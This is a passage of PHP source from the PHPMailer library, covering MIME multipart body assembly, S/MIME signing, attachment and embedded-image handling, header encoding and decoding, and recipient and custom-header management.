static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $bodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the body part only if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) { $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $altBodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the alt body part only if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } if ($this->sign_key_file) { $this->Encoding = $bodyEncoding; $body .= $this->getMailMIME() . static::$LE; } //Use this as a preamble in all multipart message types $mimepre = ''; switch ($this->message_type) { case 'inline': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[1], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= static::$LE; } $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_inline': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); } $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[2]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[3], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[3]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; default: //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types //Reset the `Encoding` property in case we changed it for line length reasons $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; if ($this->exceptions) { throw new Exception(self::lang('empty_message'), self::STOP_CRITICAL); } } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new Exception(self::lang('extension_missing') . 'openssl'); } $file = tempnam(sys_get_temp_dir(), 'srcsign'); $signed = tempnam(sys_get_temp_dir(), 'mailsign'); file_put_contents($file, $body); //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [] ); } else { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file ); } @unlink($file); if ($sign) { $body = file_get_contents($signed); @unlink($signed); //The message returned by openssl contains both headers and body, so need to split them up $parts = explode("\n\n", $body, 2); $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; $body = $parts[1]; } else { @unlink($signed); throw new Exception(self::lang('signing') . openssl_error_string()); } } catch (Exception $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } /** * Get the boundaries that this message will use * @return array */ public function getBoundaries() { if (empty($this->boundary)) { $this->setBoundaries(); } return $this->boundary; } /** * Return the start of a message boundary. * * @param string $boundary * @param string $charSet * @param string $contentType * @param string $encoding * * @return string */ protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ('' === $charSet) { $charSet = $this->CharSet; } if ('' === $contentType) { $contentType = $this->ContentType; } if ('' === $encoding) { $encoding = $this->Encoding; } $result .= $this->textLine('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= static::$LE; //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); } $result .= static::$LE; return $result; } /** * Return the end of a message boundary. * * @param string $boundary * * @return string */ protected function endBoundary($boundary) { return static::$LE . '--' . $boundary . '--' . static::$LE; } /** * Set the message type. * PHPMailer only supports some preset message types, not arbitrary MIME structures. */ protected function setMessageType() { $type = []; if ($this->alternativeExists()) { $type[] = 'alt'; } if ($this->inlineImageExists()) { $type[] = 'inline'; } if ($this->attachmentExists()) { $type[] = 'attach'; } $this->message_type = implode('_', $type); if ('' === $this->message_type) { //The 'plain' message_type refers to the message having a single body element, not that it is plain-text $this->message_type = 'plain'; } } /** * Format a header line. * * @param string $name * @param string|int $value * * @return string */ public function headerLine($name, $value) { return $name . ': ' . $value . static::$LE; } /** * Return a formatted mail line. * * @param string $value * * @return string */ public function textLine($value) { return $value . static::$LE; } /** * Add an attachment from a path on the filesystem. * Never use a user-supplied path to a file! * Returns false if the file could not be found or read. * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client. * If you need to do that, fetch the resource yourself and pass it in via a local file or string. * * @param string $path Path to the attachment * @param string $name Overrides the attachment name * @param string $encoding File encoding (see $Encoding) * @param string $type MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified * @param string $disposition Disposition to use * * @throws Exception * * @return bool */ public function addAttachment( $path, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception(self::lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $name, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Return the array of attachments. * * @return array */ public function getAttachments() { return $this->attachment; } /** * Attach all file, string, and binary attachments to the message. * Returns an empty string on failure. * * @param string $disposition_type * @param string $boundary * * @throws Exception * * @return string */ protected function attachAll($disposition_type, $boundary) { //Return text of body $mime = []; $cidUniq = []; $incl = []; //Add all attachments foreach ($this->attachment as $attachment) { //Check if it is a valid disposition_filter if ($attachment[6] === $disposition_type) { //Check for string attachment $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = hash('sha256', serialize($attachment)); if (in_array($inclhash, $incl, true)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, static::$LE); //Only include a filename property if we have one if (!empty($name)) { $mime[] = sprintf( 'Content-Type: %s; name=%s%s', $type, static::quotedString($this->encodeHeader($this->secureHeader($name))), static::$LE ); } else { $mime[] = sprintf( 'Content-Type: %s%s', $type, static::$LE ); } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE); } //Only set Content-IDs on inline attachments if ((string) $cid !== '' && $disposition === 'inline') { $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE; } //Allow for bypassing the Content-Disposition header if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (!empty($encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s; filename=%s%s', $disposition, static::quotedString($encoded_name), static::$LE . static::$LE ); } else { $mime[] = sprintf( 'Content-Disposition: %s%s', $disposition, static::$LE . static::$LE ); } } else { $mime[] = static::$LE; } //Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding); } else { $mime[] = $this->encodeFile($path, $encoding); } if ($this->isError()) { return ''; } $mime[] = static::$LE; } } $mime[] = sprintf('--%s--%s', $boundary, static::$LE); return implode('', $mime); } /** * Encode a file attachment in requested format. * Returns an empty string on failure. * * @param string $path The full path to the file * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @return string */ protected function encodeFile($path, $encoding = self::ENCODING_BASE64) { try { if (!static::fileIsAccessible($path)) { throw new Exception(self::lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = file_get_contents($path); if (false === $file_buffer) { throw new Exception(self::lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = $this->encodeString($file_buffer, $encoding); return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return ''; } } /** * Encode a string in requested format. * Returns an empty string on failure. * * @param string $str The text to encode * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @throws Exception * * @return string */ public function encodeString($str, $encoding = self::ENCODING_BASE64) { $encoded = ''; switch (strtolower($encoding)) { case static::ENCODING_BASE64: $encoded = chunk_split( base64_encode($str), static::STD_LINE_LENGTH, static::$LE ); break; case static::ENCODING_7BIT: case static::ENCODING_8BIT: $encoded = static::normalizeBreaks($str); //Make sure it ends with a line break if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) { $encoded .= static::$LE; } break; case static::ENCODING_BINARY: $encoded = $str; break; case static::ENCODING_QUOTED_PRINTABLE: $encoded = $this->encodeQP($str); break; default: $this->setError(self::lang('encoding') . $encoding); if ($this->exceptions) { throw new Exception(self::lang('encoding') . $encoding); } break; } return $encoded; } /** * Encode a header value (not including its label) optimally. * Picks shortest of Q, B, or none. Result includes folding if needed. * See RFC822 definitions for phrase, comment and text positions, * and RFC2047 for inline encodings. * * @param string $str The header value to encode * @param string $position What context the string will be used in * * @return string */ public function encodeHeader($str, $position = 'text') { $position = strtolower($position); if ($this->UseSMTPUTF8 && !("comment" === $position)) { return trim(static::normalizeBreaks($str)); } $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { //Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return $encoded; } return "\"$encoded\""; } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); //fallthrough case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } if ($this->has8bitChars($str)) { $charset = $this->CharSet; } else { $charset = static::CHARSET_ASCII; } //Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`"). $overhead = 8 + strlen($charset); if ('mail' === $this->Mailer) { $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead; } else { $maxlen = static::MAX_LINE_LENGTH - $overhead; } //Select the encoding that produces the shortest output and/or prevents corruption. if ($matchcount > strlen($str) / 3) { //More than 1/3 of the content needs encoding, use B-encode. $encoding = 'B'; } elseif ($matchcount > 0) { //Less than 1/3 of the content needs encoding, use Q-encode. $encoding = 'Q'; } elseif (strlen($str) > $maxlen) { //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption. $encoding = 'Q'; } else { //No reformatting needed $encoding = false; } switch ($encoding) { case 'B': if ($this->hasMultiBytes($str)) { //Use a custom function which correctly encodes and wraps long //multibyte strings without breaking lines within a character $encoded = $this->base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; case 'Q': $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace('=' . static::$LE, "\n", trim($encoded)); $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; default: return $str; } return trim(static::normalizeBreaks($encoded)); } /** * Decode an RFC2047-encoded header value * Attempts multiple strategies so it works even when the mbstring extension is disabled. * * @param string $value The header value to decode * @param string $charset The target charset to convert to, defaults to ISO-8859-1 for BC * * @return string The decoded header value */ public static function decodeHeader($value, $charset = self::CHARSET_ISO88591) { if (!is_string($value) || $value === '') { return ''; } // Detect the presence of any RFC2047 encoded-words $hasEncodedWord = (bool) preg_match('/=\?.*\?=/s', $value); if ($hasEncodedWord && defined('MB_CASE_UPPER')) { $origCharset = mb_internal_encoding(); // Always decode to UTF-8 to provide a consistent, modern output encoding. mb_internal_encoding($charset); if (PHP_VERSION_ID < 80300) { // Undo any RFC2047-encoded spaces-as-underscores. $value = str_replace('_', '=20', $value); } else { // PHP 8.3+ already interprets underscores as spaces. Remove additional // linear whitespace between adjacent encoded words to avoid double spacing. $value = preg_replace('/(\?=)\s+(=\?)/', '$1$2', $value); } // Decode the header value $value = mb_decode_mimeheader($value); mb_internal_encoding($origCharset); } return $value; } /** * Check if a string contains multi-byte characters. * * @param string $str multi-byte text to wrap encode * * @return bool */ public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return strlen($str) > mb_strlen($str, $this->CharSet); } //Assume no multibytes (we can't handle without mbstring functions anyway) return false; } /** * Does a string contain any 8-bit chars (in any charset)? * * @param string $text * * @return bool */ public function has8bitChars($text) { return (bool) preg_match('/[\x80-\xFF]/', $text); } /** * Encode and wrap long multibyte strings for mail headers * without breaking lines within a character. * Adapted from a function by paravoid. * * @see https://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 * * @param string $str multi-byte text to wrap encode * @param string $linebreak string to use as linefeed/end-of-line * * @return string */ public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?'; $end = '?='; $encoded = ''; if (null === $linebreak) { $linebreak = static::$LE; } $mb_length = mb_strlen($str, $this->CharSet); //Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end); //Average multi-byte ratio $ratio = $mb_length / strlen($str); //Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75); $offset = 0; for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); ++$lookBack; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } //Chomp the last linefeed return substr($encoded, 0, -strlen($linebreak)); } /** * Encode a string in quoted-printable format. * According to RFC2045 section 6.7. * * @param string $string The text to encode * * @return string */ public function encodeQP($string) { return static::normalizeBreaks(quoted_printable_encode($string)); } /** * Encode a string using Q encoding. * * @see https://www.rfc-editor.org/rfc/rfc2047#section-4.2 * * @param string $str the text to encode * @param string $position Where the text is going to be used, see the RFC for what that means * * @return string */ public function encodeQ($str, $position = 'text') { //There should not be any EOL in the string $pattern = ''; $encoded = str_replace(["\r", "\n"], '', $str); switch (strtolower($position)) { case 'phrase': //RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -'; break; /* * RFC 2047 section 5.2. * Build $pattern without including delimiters and [] */ /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $pattern = '\(\)"'; /* Intentional fall through */ case 'text': default: //RFC 2047 section 5.1 //Replace every high ascii, control, =, ? and _ characters $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; break; } $matches = []; if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { //If the string contains an '=', make sure it's the first thing we replace //so as to avoid double-encoding $eqkey = array_search('=', $matches[0], true); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } //Replace spaces with _ (more readable than =20) //RFC 2047 section 4.2(2) return str_replace(' ', '_', $encoded); } /** * Add a string or binary attachment (non-filesystem). * This method can be used to attach ascii or binary data, * such as a BLOB record from a database. * * @param string $string String attachment data * @param string $filename Name of the attachment * @param string $encoding File encoding (see $Encoding) * @param string $type File extension (MIME) type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringAttachment( $string, $filename, $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($filename); } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $filename, 2 => static::mb_pathinfo($filename, PATHINFO_BASENAME), 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => 0, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded (inline) attachment from a file. * This can include images, sounds, and just about any other document type. * These differ from 'regular' attachments in that they are intended to be * displayed inline with the message, not just attached for download. * This is used in HTML messages that embed the images * the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`. * Never use a user-supplied path to a file! * * @param string $path Path to the attachment * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name Overrides the attachment filename * @param string $encoding File encoding (see $Encoding) defaults to `base64` * @param string $type File MIME type (by default mapped from the `$path` filename's extension) * @param string $disposition Disposition to use: `inline` (default) or `attachment` * (unlikely you want this – {@see `addAttachment()`} instead) * * @return bool True on successfully adding an attachment * @throws Exception * */ public function addEmbeddedImage( $path, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception(self::lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } //Append to $attachment array $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded stringified attachment. * This can include images, sounds, and just about any other document type. * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type. * * @param string $string The attachment binary data * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name A filename for the attachment. If this contains an extension, * PHPMailer will attempt to set a MIME type for the attachment. * For example 'file.jpg' would get an 'image/jpeg' MIME type. * @param string $encoding File encoding (see $Encoding), defaults to 'base64' * @param string $type MIME type - will be used in preference to any automatically derived type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { //If a MIME type is not specified, try to work it out from the name if ('' === $type && !empty($name)) { $type = static::filenameToType($name); } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Validate encodings. * * @param string $encoding * * @return bool */ protected function validateEncoding($encoding) { return in_array( strtolower($encoding), [ self::ENCODING_7BIT, self::ENCODING_QUOTED_PRINTABLE, self::ENCODING_BASE64, self::ENCODING_8BIT, self::ENCODING_BINARY, ], true ); } /** * Check if an embedded attachment is present with this cid. * * @param string $cid * * @return bool */ protected function cidExists($cid) { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6] && $cid === $attachment[7]) { return true; } } return false; } /** * Check if an inline attachment is present. * * @return bool */ public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6]) { return true; } } return false; } /** * Check if an attachment (non-inline) is present. * * @return bool */ public function attachmentExists() { foreach ($this->attachment as $attachment) { if ('attachment' === $attachment[6]) { return true; } } return false; } /** * Check if this message has an alternative body set. * * @return bool */ public function alternativeExists() { return !empty($this->AltBody); } /** * Clear queued addresses of given kind. * * @param string $kind 'to', 'cc', or 'bcc' */ public function clearQueuedAddresses($kind) { $this->RecipientsQueue = array_filter( $this->RecipientsQueue, static function ($params) use ($kind) { return $params[0] !== $kind; } ); } /** * Clear all To recipients. */ public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = []; $this->clearQueuedAddresses('to'); } /** * Clear all CC recipients. */ public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = []; $this->clearQueuedAddresses('cc'); } /** * Clear all BCC recipients. */ public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = []; $this->clearQueuedAddresses('bcc'); } /** * Clear all ReplyTo recipients. */ public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } /** * Clear all recipient types. */ public function clearAllRecipients() { $this->to = []; $this->cc = []; $this->bcc = []; $this->all_recipients = []; $this->RecipientsQueue = []; } /** * Clear all filesystem, string, and binary attachments. */ public function clearAttachments() { $this->attachment = []; } /** * Clear all custom headers. */ public function clearCustomHeaders() { $this->CustomHeader = []; } /** * Clear a specific custom header by name or name and value. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was replaced successfully */ public function clearCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? null : trim($value); foreach ($this->CustomHeader as $k => $pair) { if ($pair[0] == $name) { // We remove the header if the value is not provided or it matches. if (null === $value || $pair[1] == $value) { unset($this->CustomHeader[$k]); } } } return true; } /** * Replace a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was replaced successfully * @throws Exception */ public function replaceCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? '' : trim($value); $replaced = false; foreach ($this->CustomHeader as $k => $pair) { if ($pair[0] == $name) { if ($replaced) { unset($this->CustomHeader[$k]); continue; } if (strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception(self::lang('invalid_header')); } return false; } $this->CustomHeader[$k] = [$name, $value]; $replaced = true; } } return true; } /** * Add an error message to the error container. * * @param string $msg */ protected function setError($msg) { ++$this->error_count; if ('smtp' === $this->Mailer && null !== $this->smtp) { $lasterror = $this->smtp->getError(); if (!empty($lasterror['error'])) { $msg .= ' ' . self::lang('smtp_error') . $lasterror['error']; if (!empty($lasterror['detail'])) { $msg .= ' ' . self::lang('smtp_detail') . $lasterror['detail']; } if (!empty($lasterror['smtp_code'])) { $msg .= ' ' . self::lang('smtp_code') . $lasterror['smtp_code']; } if (!empty($lasterror['smtp_code_ex'])) { $msg .= ' ' . self::lang('smtp_code_ex') . $lasterror['smtp_code_ex']; } } } $this->ErrorInfo = $msg; } /** * Return the current date and time as an RFC 822 formatted date. * * @return string */ public static function rfcDate() { //Set the time zone to whatever the default is to avoid 500 errors //Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date(self::RFC822_DATE_FORMAT); } /** * Normalise a user-supplied date into a correctly-formatted RFC 5322 date value * string suitable for use in the Date header. * * Accepts: * - A {@see \DateTime} (or \DateTimeImmutable) object * - Any date/time string understood by PHP's DateTime constructor (RFC 5322, ISO 8601, * Unix timestamp with leading "@", natural-language strings, etc.) * * Dates in the future are not permitted for email headers; if the parsed date is later * than "now" the method falls back to the current time via {@see self::rfcDate()}. * An empty value, a non-string/non-DateTime argument, or any value that cannot be * parsed will likewise fall back to {@see self::rfcDate()}. * * @param \DateTime|\DateTimeImmutable|string $date The date to normalise * * @return string An RFC 5322-formatted date string */ private static function sanitiseDate($date) { try { //Ensure the default timezone is set properly date_default_timezone_set(@date_default_timezone_get()); if ($date instanceof \DateTimeInterface) { $dt = $date; } elseif (is_string($date) && $date !== '') { $dt = new \DateTime($date); } else { //Empty string, null, or any unsupported type return self::rfcDate(); } //Reject future dates — they are invalid for outgoing message headers if ($dt->getTimestamp() > time()) { return self::rfcDate(); } return $dt->format(self::RFC822_DATE_FORMAT); } catch (\Exception $e) { return self::rfcDate(); } } /** * Get the server hostname. * Returns 'localhost.localdomain' if unknown. * * @return string */ protected function serverHostname() { $result = ''; if 